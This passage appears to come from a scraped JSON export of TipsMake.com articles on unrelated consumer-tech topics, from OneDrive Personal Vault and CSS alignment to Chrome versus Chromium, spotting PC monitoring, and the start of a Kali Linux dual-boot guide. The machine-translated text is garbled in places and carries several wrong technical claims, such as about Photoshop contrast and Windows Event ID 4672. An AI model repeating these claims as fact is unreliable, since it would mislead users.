multiplayer modes. Along with that is 180 different race tracks. The individual game mode features 900 challenges, while the multiplayer mode will let you pit against 7 racers for prizes and a high position on the leaderboards. A nice feature of multiplayer mode is the automatic rating system, which ensures that the opponents in a game will be on the same level, thereby limiting cheating.\nOn Xbox Series X|S, Gameloft has tweaked Asphalt 9 to run at full 4K graphics and 120 fps, ensuring it can compete fairly in terms of graphics experience with racing games. other popular. If you want to switch to playing on a Windows computer, Asphalt 9 supports a convenient cross-platform sync feature. You can find and download the game for free on the Microsoft Store.\nncG1vNJzZmismaXArq3KnmWcp51krrS8x5qjrWVpYrmms8Snm6xlmah6r7vWZpivmZmhrqO4xGarqGWUpMSvuM6am2aen6d6p77EnmSopl2tr7DEjJqlnWWnnrulu9as\n","link":"/post/legends-is-now-available-to-download-for-free-on-xbox-and-windows/","section":"post","tags":null,"title":"Legends is now available to download for free on Xbox and Windows"},{"body":"Microsoft will add a new 'secure storage area' to OneDrive, called the Personal Vault, where users can store more sensitive files.\nThis new OneDrive Personal Vault feature will be protected with an additional identity verification step, such as PIN code, fingerprint authentication / face recognition or two-factor authentication code (2FA). If you store files in the new Personal Vault area, you will be prompted to enter an additional security code whenever you want to access this secure repository via the web, PC application, or mobile application.\nMicrosoft banned employees from using Slack, AWS, and Google Docs that were about to suffer the same fate   Microsoft recommends that users store files that contain extremely important personal / organization information in the Personal Vault, such as passport copies, identification cards, personal financial information, or talent. Excellent work.\nOn Windows 10 PCs, Microsoft is currently using the BitLocker encryption area of ​​the local hard drive to synchronize Personal Vault files, while all OneDrive files will be encrypted in the rest of the cloud. Microsoft and then switch to the device.\nPersonal Vault will also automatically relock on a PC or mobile device after a long period of inactivity and you will need to confirm to have access to this secure area again (on a PC, you can also use Use Windows Hello for validation). Also, if you use the web version of OneDrive on a strange PC (not the PC you registered with), then all Personal Vault files will not be cached locally by the browser.\nWindows Terminal has a preview version on Microsoft Store, invite download and experience   Additional security storage area Personal Vault\nIf you want, you can completely store all your files in the Personal Vault, but then you will need to confirm each time you want to access any file, which is relatively time consuming, so Only particularly important data should be stored in this area.\nOf course, you can also store as many files as you want in Personal Vault, as long as you don't exceed your OneDrive's general storage limit. At the same time, Microsoft also added a feature to help you scan documents or passport information in OneDrive's mobile application to store directly into Personal Vault more quickly.\nMicrosoft will send a notification if your PC is not ready for Windows 10 update May 2019 Update Microsoft is considering bringing this feature to the web version of OneDrive, iOS mobile apps, Android and Windows 10 PCs, but initially, the company will only deploy this new feature in certain countries. like Australia, New Zealand and Canada to test user feedback before launching on a global scale.\nAs planned, the Personal Vault will be available to all markets later this year. If this is the case, Microsoft will be one of the first companies to add this type of security feature to their cloud storage, because iCloud, Google Drive and Dropbox do not support the protection of specific folders. can equal 2FA. If the Personal Vault feature receives positive feedback from the community, it is likely that we will soon see similar features appear on the above cloud services.\n  Microsoft and Oracle, along with the \"matching swords\" against Amazon in the cloud computing battle Besides the new Personal Vault feature, Microsoft is also working to adjust the amount of storage that can be purchased for both Office 365 OneDrive and free users. Specifically, the company will double the capacity for the optional package 1.99 / 1 month from 50GB to 100GB. If you have registered this additional storage, you will automatically receive an additional 50GB for free.\nIn addition, those who subscribe to the Office 365 service will also be able to purchase up to 1TB of additional storage that is included. You can add capacity by 200GB, up to 1TB of additional storage for $ 9.99 per month. However, the basic storage capacity for Free OneDrive and Office 365 will remain unchanged.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYq6lsMSdZKedp2LApq%2FUq6CtsV2bsqLA1KucrGWkpHqwusSdqaKulWKzsLjDnqlmqKKkwaav06Kmp2WnnsGpeZGfmA%3D%3D\n","link":"/post/microsoft-added-new-security-features-to-onedrive-folder-protection-with-2fa/","section":"post","tags":null,"title":"Microsoft added new security features to OneDrive, folder protection with 2FA"},{"body":"TipsMake.com - Calculation field is a field that receives its information from the calculation made on other schools. You can build the calculation result domain in the Query screen using addition (+), minus (-), multiplication (*) and division (/).\nExpression\nExpressions are combinations of functions, field names, numbers, text, and operations listed above.\nTo build an expression to create a calculation field:\n- Open an existing query or start a new query\n- Click the View button\n- Click Design View mode.  - In Query , right click on the field where you want to create the operation\n- Click the Build button.  - Select the table you want to build the operation from\n- Double-click the field you want to include it in the operation\n- Select the operator you want to have in the operation\n- Click on the second field you want to include in the operation\n- Click OK .  - Click the Run button to execute.  Zoom\nThe Zoom dialog allows you to view the entire expression. To view the Zoom dialog:\n- In Design View mode, right-click on the field you want to display.\n- Click Zoom .  ncG1vNJzZmismaXArq3KnmWcp51kurR5wJyanqujYrmmv9KopWZpYWKworjCrqOarJmjtG6yyJ6jnQ%3D%3D\n","link":"/post/ms-access-lesson-11-calculating-field/","section":"post","tags":null,"title":"MS Access - Lesson 11: Calculating field"},{"body":"Adobe photoshop, also known as photoshop or PS, is a famous graphics software. Developed and published by Adobe in 1988. Currently Ps is considered the most powerful bitmap graphics software on the market, and is used by most graphic designers and photographers. Referring to photoshop, many people will think of the image editing feature of this software, it can transform ugly photos into a sparkling picture. In this article, please join the Network Administrator to learn about this software through multiple choice questions around this topic.\nQuestion 1 : The default color in photoshop (Foreground / background) is:\nA: White / Black\nB: White / Transparent C: Black / White D: Black / Transparent\nQuestion 2 : File Open command allows opening images in a format\nA: JPG\nB: GIF C: PSD D: All of the above image file formats\nQuestion 3 : The Move Tool works:\nA: Copy pictures\nB: To move objects and align objects on layers C: Create a full border D: Paint pictures\nQuestion 4 : Which of the following statements is incorrect to fill the selection?\nA: Edit / Fill: Foreground\nB: ALt + Backspace C: Ctrl + Backspace D: Image / Dulipcate\nQuestion 5 : Which of the following is used to use the Lasso Tool:\nA: Click a color on the image\nB: Hold the left mouse button and drag the border of the object to select C: Hold Alt to get a sample D: Click constantly\nQuestion 6 : Linear Gradinet to color in the form\nA: The color varies in radial form\nB: The color varies with the rhombus C: Symmetrical linear color on one side of the starting point D: Color varies from the beginning to the end of the image\nQuestion 7 : T is a shortcut of what tool\nA: Write the word\nB: Draw a straight line C: Rotate, change objects D: Hide the Tool Box tool in Photoshop\nQuestion 8 : Want to draw straight line horizontal, vertical, tilt angle 45 degrees with Pen Tool\nA: Hold down the Ctrl key\nB: Hold down the Alt key C: Hold down Shift D: Hold down the Space bar\nQuestion 9 : Which of the following options is not available in the Position of Stroke effect of Layer Style\nA: Outside\nB: Inside C: Center D: Color\nQuestion 10 : Turn a path into a selection\nA: Ctrl + Enter\nB: Shift + Enter C: Alt + Enter D: Enter\nAnswer:\n1 C\n2. D\n3. B\n4. D\n5. B\n6. D\n7. A\n8. C\n9. D\n10. A\nSee more:\nPhotoshop shortcuts help you work faster (part 1) How to use Photoshop CS5 - Part 1: Toolbox Instructions for creating animated images and GIF images in Adobe Photoshop CS6 ncG1vNJzZmismaXArq3KnmWcp51kura406KnpZ1dmLWwtcKeZKqtlajBqrvNrGSamp%2BqwW68x6irqKuYpL0%3D\n","link":"/post/multiple-choice-questions-about-photoshop/","section":"post","tags":null,"title":"Multiple choice questions about Photoshop"},{"body":"Here are some strange animals that show the natural world is full of amazing things that make us go from surprise to surprise and sometimes even a little fear.\n1. A Jerboa gerbil with long and big ears like rabbits. This rodent lives in the desert regions of Mongolia and China. They have incredible speed, can run up to 24 km / h if chased.\n  2. The red-faced bat uses its fins as legs to move. This exotic fish lives mainly in the sea area of ​​Galapagos Island, Ecuador, a depth of 100m below sea level.\n  3. Saiga antelope stands out with an oversized long nose. This is one of the oldest mammals and a noble antelope, listed as critically endangered.\n  4. Crested ostriches can reach as high as 1m2, living in the islands of New Guinea and Northeast Australia. Like other ostriches, this animal has wings but cannot fly.\n  5. Narrow-headed tortoises, which live in South Asia, they only land when they need to lay their eggs.\n  6. Yellow-nosed snub-nosed monkey with an orange-yellow coat and a pale green face. This primate is an endemic species that lives mainly in central and southwestern China.\n  7. Kori is the heaviest flying bird in the world. When mature, the male can be 70-120 cm tall and weighs an average of 13.5 kg.\n  8. A Crabronidae bee is transporting the mud to build a nest.\n  9. Sagehen's pheasant stands out with two yellow bags on her neck. The male will try to expand to the size of these 2 bags when flirting with the female. This is the largest pheasant species in North America.\n  10. This proboscis monkey only appears in Borneo island, Indonesia.\n  11. Satan tailed gecko with weird smile. The eyes of geckos are very large and have a special structure that helps them to hunt in the dark.\n  12. A Persian cat with its coat grows more than usual due to its hypertrichosis or werewolf syndrome.\n  ncG1vNJzZmismaXArq3KnmWcp51kwamxjKycq6GVqHqwsoypn6isn6h6tLTOsKpmrJiaeq%2Bt066pmqRdrLyzuMNmrqKsmGK6orrYZquhoZ6cwG7DxGabqKakYrivu9Y%3D\n","link":"/post/the-series-of-photos-shows-the-natural-world-with-many-things-we-don-t-know/","section":"post","tags":null,"title":"The series of photos shows the natural world with many things we don't know"},{"body":" 13 extremely interesting websites you may not know about 13 extremely useful mobile apps that make life easier 10 useful things you can do on your computer You must have read the article 20 \"secret\" to use Google Search effectively, but not everyone knows (Part 1), right? So in this article, TipsMake.com please give you 10 more \"tips\" to use Google Search effectively . Certainly these simple operations will help you find the desired information a lot faster. Invite you to consult!\n11. Simple keywords   We will come to the common advice that Google can find a lot of things. That means you don't need to enter everything in such a detailed way. If you want to find the locations of restaurants near you, do the following:\nRecent Pizza Shops The Google search system will locate your location, then make choices near where you are most.\n12. Add the term to the search bar   There will be times when Google cannot deliver the results you expect. In this case, continuing to keep things simple is not a good choice. At Google 's suggestion, the best method is to start it simple, then gradually complicate it. Please refer to the example below:\nFirst time: Job interview 2nd time: Prepare for the job interview Last 3: How to prepare well for a job interview So Google search system will gradually refine and bring you more and more results that match what you want to refer to. You should not go straight from step one to step three right away because you might ignore what you want to look for when you step up. Millions of websites share an information, but in many different ways, using this technology allows you to get the most complete information from them.\n13. Use words in the way websites use   This is especially important. When using Google to find information on websites, people often use the language they use every day in life. Unfortunately, these sites are not, instead they try to use elaborate words so that it sounds \" professional \". Please refer below:\n\" I got a tire spray \" should replace it with \"My wheels have problems \" \" My head hurts \" should be replaced with \" I have a headache \" The list of such sentences is getting longer. When searching, try to use terms you can find on websites. This will help you get more reliable results.\n14. Only use important words   The way Google Search works is to use the data you enter to compare the keywords of online content. When using too many words, you can limit the results yourself. That also means it will take longer to get what you are expecting. Therefore, you should only use important words when searching for something. Refer to the example below:\nDo not use: \" Where should I find a Chinese food restaurant? \" Instead: \" Recent Chinese Restaurant \" Or: \" Chinese restaurant is close to me \" Doing so helps Google find what you need without getting in a mess. Remember to keep things simple and use only important words.\n15. Shortcuts when using Google Search   There are several ways to enter data that will give you immediate search results. Google will quickly give you the information you need right away with the search results. They will save a lot of time and effort, so you don't have to click on annoying links. Here are a few common shortcuts, please consult.\nWeather * Zip Code * - how you can know the weather at the location where the area code you provide. In addition, you can replace the region or city name in the area code section, but that may be incorrect if the city or region has multiple area codes. What is * Celebrity Name * Bacon Number - a fun game that will tell you how many steps to connect the public with actor Kevin Bacon. This is the famous joke \" Six Degrees of Kevin Bacon - Kevin Bacon's Six Steps \" means that no actor has more than six steps to connect ( meeting - acting together - collaborating . ) with rice guy this one. Mark Zuckerburg has a Bacon index of 3. The following syntax is in another category:\nWhat is the definition of * world * or define: * world * - this way will expose definitions of the world to you. Time * place * - With this syntax you will know your local time anywhere you want. Also, you can know the stock value of any company when you enter that company's name in Google. If you enter GOOG you will know the stock price of \" Google my home \". Quick commands will help you find results quickly without having to click multiple times, in other words \" just one click, the whole world will come to you \". This will be helpful if you need to constantly search for certain information.\n16. Spelling is not so much a problem   Over the years, Google has gradually become smarter. You don't even need to write a word or sentence today. Just \" approximate \" is fine, Google will guess its meaning. Here is an example:\nIf you enter \" Nver Gna Gve Yo up\" Google will automatically understand that you want to find \" Never gonna give you up \". If you deliberately write incorrectly, Google will suggest possible options. This is great if you happen to forget or not entirely sure how to write a word, right? Moreover, this application can be used for both capitalization and grammatical errors.\n17. Use many ways to describe what you want   There are many things that can be searched in many ways. As words with the same sound, you can take the example of \" life hack \". \" Hack \" is the term for a computer programmer to break the security of a network or system. However, when we link it to the word \" life \" it turns into meaning advice or tips that people can use to improve their lives. So, if you have problems while looking for something, try to figure out how to describe what you want with other ways.\nYou can enter \" How to update the hard drive for free \" While, you want to say \" Troubleshooting hard drive free \" There is really no concrete example of this. If you want to find something that can't be found, try asking the same question but in many different ways, it can be very helpful.\n18. Find a specific file   A special function of Google that is often forgotten is to search for a file. This can be an extremely useful assistant if you are looking for a PDF or Powerpoit file for your project. Try the syntax:\n* Name of the file type to search * filetype: pdf Based on the above example, you can easily change the name and extension of the format of the file you want to expand, satisfying the diverse search needs. This is the most useful thing for academic purposes, both business presentations or any kind of presentation can need it.\n19. Currency and unit conversion   Google Search can quickly and accurately convert both currencies and units of measurement. In addition, you can apply this method to many things, such as checking the monetary value of the two countries. If you are a student, you may need this way to change from feet to meters, or from ounces to liters. And here's how to do it:\nMile to km - the syntax changes from miles to kilometers . You can place a number in front of the unit to determine a specific number. Like \" 10 miles to km \" will tell you how many kilometers will be 10 miles. Usd to Bristish Pound Sterling . You will know how many pounds will be exchanged for US $ 1. With the same rules, you can compare the value of many currencies of the countries in the world. This tip is aimed at students and business people who are involved in foreign currencies, but you will be surprised to know that countless people with different careers are using it.\n20. Find luggage   Finally, use Google Search to find out where your luggage is now. You can directly enter your luggage code into the Google search bar, whether you are using UPS, USPS or Fedex services and it will tell you exactly where your baggage is. This is much easier than accessing the website of these services, waiting to download the program and then finding your luggage there. Simply enter your luggage code and enter, that's it.\nEpilogue\nGoogle Search is a very powerful tool. When applying these tips , you can find anything or even everything you may need on the World Wide Web . No matter if it's a Wikipedia definition for a school essay or finding the latest stock price, even finding the words of your favorite song is as easy as eating a cake for Google Search.\nAuthor: Joseph Hindy\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kf3F506KnrGWlqLJus86onqWdXaiyor7CoWSenpaasLW11Z6jsmWepMFusdWeqbKnnpp6rLrOsKpmqJGnwW5%2B\n","link":"/post/20-tips-use-google-search-effectively-not-everyone-knows-part-2/","section":"post","tags":null,"title":"20 'tips' use Google Search effectively, not everyone knows (Part 2)"},{"body":"Align is the setting of the element's element or content element. There are many properties in CSS that allow aligning an element like margin, padding, text-align, position, float . Align helps you a lot in formatting text and images.\nIn this article, TipsMake.com will work with you to find some of the most commonly used aligns. Invites you to read the track.\nCenter for element - Use margin: auto In CSS, to center a block element\nWe use the margin attribute with the value of auto to align the element in the middle compared to its parent element.\nThe element after occupying a certain space, the remaining space will be divided equally for the two sides:\n .center { margin: auto; width: 50%; border: 3px solid green; padding: 10px; }  Center the element To center horizontally for a block element (like div) you can use\nuse margin: auto.\nNote: The element after occupying certain space, the space left\nwill be divided equally for both sides.\nCenter the image To center an image, set margin-left and margin-right to auto and make the image become a block- like element as mentioned above.\n img { display: block; margin-left: auto; margin-right: auto; width: 40%; }  Center the image To center an image, set margin-left and margin-right to auto and do\nfor the image to become a block element as mentioned above.\nAlign text horizontally - Use text-align In CSS there is a text-align attribute that allows you to align content text to the left, middle, or right of the element by values:\ntext-align: center - center text-align: left - left root text-align: right - right-aligned Note : The text-align attribute also applies only to block elements because inline only occupies a sufficient width of its content.\nAlign left / right - Use position Another method to align elements is to use position: absolute.\n .right { position: absolute; right: 0px; width: 300px; border: 3px solid purple; padding: 10px; }  Align left / right - Use float The float attribute is also used to align elements.\n .right { float: right; width: 300px; border: 3px solid purple; padding: 10px; }  Note : If a floating element is higher than the parent element, it will cause an outflow of content. To fix this, we use clearfix overflow: auto:\n .clearfix { overflow: auto; }  Centered vertically - Use padding There are many ways to center a vertical element in CSS. The simplest solution is to use padding.\n .center { padding: 70px 0; border: 3px solid green;  To align both horizontally and vertically, use padding with the attribute text-align: center.\n .center { padding: 70px 0; border: 3px solid green; text-align: center; }  Centered vertically - Use line-height You also have another way to center vertically by using the line-height attribute with the same value as the height attribute .\n.center { line-height: 200px; height: 200px; border: 3px solid green; text-align: center; } .center p { line-height: 1.5; display: inline-block; vertical-align: middle; }  Center vertically - Use position and transform If you don't use the above padding and line-height , you can use the third way to use position and transform:\n.center { height: 200px; position: relative; border: 3px solid purple; } .center p { margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } ncG1vNJzZmismaXArq3KnmWcp51krq21xqdkmqSZnLtutc1mmqyr\n","link":"/post/align-align-in-css/","section":"post","tags":null,"title":"Align - Align in CSS"},{"body":"Most Internet users are familiar with the appearance of the T-rex dinosaur every time the computer is disconnected from the Internet. In fact, this mini-game has become a fun entertainment to help users kill time while waiting for the Internet to work again.\nHow to play the game is easy, players just need to press the spacebar (Spacebar), or the up arrow key of the computer keyboard to control the dinosaur to jump up to avoid the cactus on the way. The more dinosaurs go, the higher the score. If unfortunately touch the cactus, the game will end.\n  Celebrating the fourth birthday of the T-rex dinosaur on Chrome, Google finally revealed the origin of this lovely dinosaur.\nSebastien Gabriel, designer Chrome said, the idea of ​​creating a T-rex dinosaur is to bring the user back to 'prehistoric times', when wifi has not yet appeared and they can only access the Internet at some locations. Points like: home, school, workplace and Internet cafes.\nThe first T-rex was named \"Project Bolan\", similar to the name of the lead singer in the rock band glam T-Rex in 1970, Marc Bolan.\nAlan Bettes, Google's senior designer, said they had a lot of difficulties in developing this mini game, especially the movement for the T-rex dinosaur. Initially they intended to give this dinosaur a kick or would scream to signal it was still alive. But finally the operation of the T-rex dinosaur was decided to only run, bend down and jump.\nMini T-rex dinosaur game was released by Google in September 2014 and only appeared on certain platforms. After that, it was redesigned to work on more devices.\nSince its launch, T-rex has received the love of many users all over the world. According to Edward Jung, Chrome's engineer, there are 270 million mini-games of the T-rex dinosaur game every month (including on desktops and mobile devices), mostly in markets that are not worth it. reliable like India, Brazil, Indonesia and Mexico.\nCurrently, even without losing Internet connection, users can play mini T-rex dinosaur game by typing chrome: // dino in Chrome's address bar, you can immediately unleash your battle. T-rex dinosaur with full screen mode.\nIn addition, the latest version of the T-rex dinosaur on the occasion of 4-year-old birthday will be added a cake, balloons and a birthday hat. And another interesting detail about this mini game T-rex dinosaur is that the game will end after 17 million years of playing (the time when dinosaurs live on Earth), so defeating this game is real Feasibility.\nSee more:\nCan play the game on the website address bar, have you tried it? Forget the keyboard and mouse, just a trumpet this guy can kill the monsters in the game \"Doom\" If you successfully break this island, this super-difficult game will give you 5000 USD ncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZp6Zo66tuNhmqZ6ulZa5prCMrZ%2BeZZ%2Bntqi1zWamn2WknbJuuMSgnKeckafGbsDRnq9mnJmjvLSt1KtksKCVo3q1tMRmmqiloKrBpr6MpaasrF2ewbR5zZ6rsKeioHqku82nnJysmaS7\n","link":"/post/google-finally-revealed-the-origin-of-the-legendary-t-rex-dinosaur-when-the-computer-lost-its-network-connection/","section":"post","tags":null,"title":"Google finally revealed the origin of the legendary T-rex dinosaur when the computer lost its network connection"},{"body":"Chromium is an open source project and a platform for Google Chrome. Because it is completely open source, Chromium is available on the Linux software repository for easier installation.\nAlso Chromium browser is also available on other platforms. You can run Chromium on Windows or Mac - theoretically. Similarly, Chromium OS is Google's open source project name, Chrome OS platform.\n  1. Install Chromium or Chrome On Linux operating systems, Chromium can be installed directly from the Linux distribution repository. For example, on Ubuntu Linux, Chromium can be installed by opening Ubuntun Software Center, searching for Chromium, then clicking on the Chromium icon and installing.\nChromium will be updated (updated) with security updates on the Linux distribution software store.\nOn Windows and Mac, using Chromium will be much more difficult. The Official Chromium version is also available, but at this point it doesn't automatically update.\n  The update process is part of the closed source code of Google Chrome. You can get a copy of Official Chromium from a third party, but it will not be automatically updated either, or more importantly, you must trust third-party distributors. You can compile Chromium for yourself, but will you really want to do it whenever updates are available?\nOn Linux, you can download and install Google Chrome by visiting the Google Chrome download page, then installing the data package. It will configure the Official Google software repository to update Chrome to appear in the Linux distribution update package.\nIt includes some heap source code, and that is why it is not available on your software distribution repositories.\nOn Windows and Mac operating systems, users can install Chrome directly from Google's download page.\n  2. Chrome and Chromium have not done anything? Chrome includes some closed source code on missing Chromium:\n- AAC, H.264 and MP3 support : Chrome includes a number of codecs that allow proprietary media formats - especially sites that use HTML5 video to stream H.264 videos. Both browsers have basic, free codecs: Opus, Theora, Vorbis, VP8, VP9, ​​and WAV.\n- Adobe Flash (PPAPI): Chrome includes a Flash sandboxed API Pepper plug-in (PPAPI) that Google automatically updates with Chrome. This is the only way to install the latest version of Flash on Linux.\n- Google Update: Windows and Mac have a program that updates automatically (update) Chrome. With Linux users use their standard software management tools.\n- Secure Sandbox (?) : Google also noted that some Linux distributions may disable Chromium's Sandbox security, so you have to navigate to about: sandbox on Chromium to ensure the Sandbox is enabled. and is active by default. This is one of the best features on Chromium (and Chrome).\nAlthough not a trademark of Google, Chromium is still considered the focus of Google. Chromium contains some synchronization features found on Chrome, allowing you to sign in with your Google account and sync data.\n  3. What about Spyware? Google Chrome is integrated with Crash error notification, but this feature is not integrated on Chromium. If you enable the crash error notification feature on Chrome, information about crash errors will be sent to Google.\nIf using Chromim, a crash error message will not be displayed. Also Linux distributions can edit Chromium code before sending it to you.\nChromium also does not use the tracking feature or the 'user metrics' feature found on Chrome. This is an optional feature that sends information about how you use different parts of Google's browser, providing data that users use based on their decisions.\nIn the past, many users were worried that each Chrome browser shipped with a unique \"client ID\" and noted that on Chromium there was no such process, but Google has stopped doing so since 2010.\nHowever, Chromium includes many features that depend on Google's servers, and they are enabled by default. You will see the features listed on the Settings page. They include a web service that corrects incorrect typing web addresses, a prediction service, Google's anti-phishing features, and a number of other features.\n  4. Choose Chrome or Chromium? Chromium is a good choice because it allows Linux distribution to require only open source software to package a web browser that is almost identical to Chrome and brings it to their users. Even Linux distributions can use Chromium as their default web browser instead of Firefox, if desired.\nIf you are using open source software and try to avoid any closed source code then Chromium is a great choice for you.\nHowever, if you are not a Linux user passionate about open source software, you can still install Chromium. When installing Chromium will give you a better Flash Player if you are using Flash and unlock a large amount of multimedia content online. For example, Google Chrome on Linux can stream Netflix videos. This requires H.264 support for HTML5 video.\nOn Windows and Mac, it is obvious that Chromium is a 'difficult' option to use. The reason is because you cannot receive official updates. So Chromium is really only for Linux users.\n  Refer to some of the following articles: When the network speed is slow, turn this feature off to browse the Web on browsers faster Summary of how to fix errors without downloading files, not accessing YouTube and Not Responding errors on Chrome browser The simple way to disable the implicit running of Chrome browser Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjKKqZpuYp7yutdSmZJqmlGKwqb7OppxmnJmbs6a%2BxKer\n","link":"/post/how-is-chromium-and-chrome-different/","section":"post","tags":null,"title":"How is Chromium and Chrome different?"},{"body":"In the article below, TipsMake introduces readers to the most simple and effective ways to adjust the light and dark in Photoshop. Invite readers to follow along.\n1. Lighten and darken with Blending Mode Step 1: You right click on the Background layer (1) =\u0026gt; Duplicate Layer . (2) .\n  Next, you name the new layer (3) =\u0026gt; OK (4) .\n  Step 2: Click on the Blend mode (1) and choose a suitable color blending style (2) . Depending on the color of the image, you can choose a suitable color blend. Like the example below, the Screen color blends will be brighter and the Soft Light and Hard Light blends darken the image.\n  After the color blending is complete, you can Save the image again.\n  2. Lighten and darken with Brightness / Contrast Step 1: Click on the menu Image (1) =\u0026gt; Adjustments (2)  =\u0026gt; Brightness / Contrast . (3) .\n  Step 2: You adjust the Brightness (1) to adjust the brightness and Contrast (2) to adjust the contrast. The Brightness + index will increase the brightness and vice versa, the index - will decrease the brightness. With Contrast (contrast) is the opposite: index + will darken the image and index - brighten. After editing is complete, click OK (3) and save the image.\n  3. Lighten and darken with Levels Step 1: Click on the menu Image (1) =\u0026gt; Adjustments (2)  =\u0026gt; Levels (3) .\n  Step 2: You can set the Input Levels (1) and Output Levels (2) accordingly and you can see the sample image inside the Photoshop editor while editing on the dialog box. After editing is complete, click OK .\n  4. Lighten the shadows with Curves Step 1: Click on the menu Image (1) =\u0026gt; Adjustments (2)  =\u0026gt; Curves . (3) .\n  Step 2: You adjust the graph border (1) curled upwards to lighten the image or curved downwards to darken the image. After editing the picture, click OK (2) to finish.\n  5. Lighten and darken with Exposure Step 1: Click on the menu Image (1) =\u0026gt; Adjustments (2)  =\u0026gt; Exposure (3) .\n  Step 2: You adjust the Exposure  lever (1) to the left to darken the photo or to the right to brighten the photo. Once done, click OK (2) to save.\n  With the instructions in the article, you can easily adjust the brightness for photos in Photoshop. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUn8K0wIyloKCgpGKur7CMnZiro12eu268x6irqKuYpL0%3D\n","link":"/post/how-to-adjust-light-and-dark-in-photoshop/","section":"post","tags":null,"title":"How to adjust light and dark in photoshop"},{"body":"This is legally wrong because they violated privacy rights, but the law is less interventionable because these are underground activities. In this article, Software Tips will guide you how to check your computer is being monitored.\nI. How to check if a computer is being monitored 1. Check the file opening history on the computer On Windows 10 operating system, files, photos, documents, . that you open or someone opens on the computer are stored in ThisPC history. Based on this data you will know whether someone has impersonated, accessed and opened files on your computer or not. However, you must remember what documents you have recently opened, what files you have to avoid confusion.\nStep 1: You proceed to open This PC on the computer.\n  Step 2: Then, you select Quick Access -\u0026gt; Recent file where the entire history of opening files, your recent data.\nYour job now is to monitor whether any documents or files are opened without your own open or not. If so, you should be alert and continue to monitor, even record the files you open during the day to increase accuracy.\n  Note: Some cases you can conclude that your computer is being monitored as follows:\nIf you open Quick Access -\u0026gt; Recent files without any files recently opened, it means that \"trackers\" have deleted them to avoid your doubts. The data on the Recent files will not be deleted but they will only be lost when someone deleted.\n  2. Check your browsing history Some crooks, trackers work to access the Web on your browser or use it to exploit information such as: Social networking accounts, bank accounts, . So you should be hard to check. Web history for more accurate information offline!\nActions: To check your browsing history, press Ctrl + H  (apply to all browsers)\n  3. Check if the computer has a strange login On Windows 10, whether you set a password or not, you are required to press Enter at LockScreen to access it inside. Every time you log on to your Windows computer, all information is stored with time and date. However, to rely on the login information to judge whether the computer is being monitored is probably a bit difficult, this way requires you to have some knowledge of computers.\nStep 1: First, open MenuStart and enter Event Viewer to view the log.\n  Step 2: After that, select Windows Logs and look for Security . This is the place to store all information related to Windows logins and activations on your computer.\n  Step 3: However, relying on these logs to check is difficult. Perhaps ordinary users only need to care about Event ID 4672 because this is a special login log, which may be the right to log in a remote computer via the network.\nTo find the fastest 4672 results, please select Find…\n  Step 4: The logs 4672 results will appear, so please follow the start time to see if there is any difference or not? If it means that someone else is booting up your computer silently.\n  4. Check CPU status When the computer is stuck with software running in the background to monitor and exploit data, the CPU status is Full Load  (even when not in use, not opening the application).\nIn the case of a tracking code, running in the background of BitCoin, not only the CPU Full Load but also the Full Load GPU follow.\nStep 1: You right-click on the Taskbar and select Task Manager to check.\n  Step 2: Turn off all applications on the computer and see the% working of the CPU. If they regularly run up to 85-100% when not opening applications, then you are most likely being monitored.\n  5. Check Camera on Laptop   For laptops, manufacturers have built-in webcams for you to use conveniently, most of the webcams on laptops will be \"attached\" with a color light to show the operating status. If you see the Webcam indicator light automatically and you do not open any applications related to the Webcam, that is, a bad guy is accessing your Webcam and monitoring.\nII. How to handle computers monitored by bad guys The best way to solve this problem is probably you should backup (backup) personal data quickly and proceed to reinstall Windows, MacOS (operating system) to all hidden files, The bad guy's hidden software disappeared from the computer.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsecifZLKnpad6pLvMqaytnaJitrR5wZ6gp59doryvtdOoqZ6c\n","link":"/post/how-to-check-if-your-computer-is-being-monitored/","section":"post","tags":null,"title":"How to check if your computer is being monitored"},{"body":" Email privacy has become more and more of a concern each day. Emails are used to access sites of different kinds, especially sites that store personal information, such as credit card information, personal addresses, and phone numbers....\nPart 1of 2:\nChecking Your Account Settings  Log into your Gmail account. Passwords are case-sensitive. Typing 'password' isn't the same as typing 'PASSWORD'.\n  Click your avatar. It's located in the upper right corner of your browser.\n  Click 'My Account'.\n  Click on 'Sign-in \u0026amp; security'.\n  Click 'Device activity \u0026amp; notifications'. It's located in the sidebar on the left.\n  Click 'Review events' under 'Recent security events'. Here, you'll be able to see any sign-in activity in the past 28 days.\n  Go back. Click the back button (left arrow) in the top left corner of your browser next to the URL address bar.\n  Click 'Review devices' under 'Recently used devices'.\n  Secure your account. If you see any strange sign-in activity or devices you don't recognize, click 'Secure your account' at the top of the page.\n Part 2of 2:\nChanging Your Password  Log into your Gmail account.\n  Click on your avatar. It's in the upper right hand corner of your browser.\n  Click on 'My Account'.\n  Click 'Sign-in and security'.\n  Scroll down to 'Password \u0026amp; sign-in method'.\n  Click on 'Password'.\n  Enter your current password.\n  Enter your new password.\n  Click 'Change password'.\n  You will be signed out of all devices that currently has access to your email.\n  Log into your account again using the new password.\n  Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsecifZLKnpad6qLnAoqNmmZOYvLa602afmqtdl7KmuoyhmJyjlZk%3D\n","link":"/post/how-to-check-if-your-gmail-account-has-been-hacked/","section":"post","tags":null,"title":"How to Check if Your Gmail Account Has Been Hacked"},{"body":"Parallel installation Kali Linux and Windows can be quite helpful. However, you need to be cautious during the setup process. First, make sure you back up any important data on your Windows installation. Because you will modify the hard drive, please store this backup on external devices. When you have finished backing up data, we recommend reading the article How to install Kali Linux on your computer - including explaining the processes for basic Kali installation.\nIn the following example, we will install Kali Linux and Windows 7 in parallel, currently occupying 100% of the disk space in the computer. We will start by changing the current Windows partition size to take up less space and then proceed to install Kali Linux in the newly created empty partition.\nDownload Kali Linux and burn ISO to DVD, or prepare a USB Kali Linux Live as the installation medium. If your computer does not have a DVD drive or USB port, check out Kali Linux installation online. Make sure you have the following:\nA minimum of 20 GB of free disk space on Windows Support booting CD-DVD / USB Prepare for installation Download Kali Linux. Burn Kali Linux ISO to DVD or copy Kali Linux Live to USB. Make sure your computer is set to boot from the CD / USB in the BIOS. Dual boot installation procedure - dual boot 1. To start the installation, start with the installation media you selected. You will be 